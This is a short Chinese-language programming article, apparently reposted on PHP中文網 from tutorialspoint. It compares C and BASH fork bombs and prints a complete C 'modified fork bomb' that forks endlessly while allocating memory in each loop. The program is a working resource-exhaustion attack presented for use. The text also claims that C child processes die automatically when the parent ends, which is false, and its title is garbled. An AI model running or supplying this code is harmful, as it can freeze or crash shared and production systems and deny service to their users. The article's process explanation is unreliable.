首頁  >  文章  >  後端開發  >  在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈

在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈

WBOY
WBOY轉載
2023-09-14 19:41:021349瀏覽

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

已經明確,BASH fork 炸彈比其 C 程式版本強大得多。主要原因是在 BASH 中建立的進程與父進程分離。如果父進程(我們最初啟動的進程)被銷毀或終止,剩餘的進程將繼續存在。但在 C 實作的情況下,如果父行程被銷毀或終止,列出的子程序會自動終止。腳本負責直接與系統通訊。

C語言的fork炸彈程式可以更新或修改。我們可以在建立 fork 進程時在程式中分配記憶體。

以下程式被視為修改後的 C fork 炸彈的實作 -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

以上是在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:tutorialspoint.com。如有侵權,請聯絡admin@php.cn刪除
上一篇:C語言的限制下一篇:C語言的限制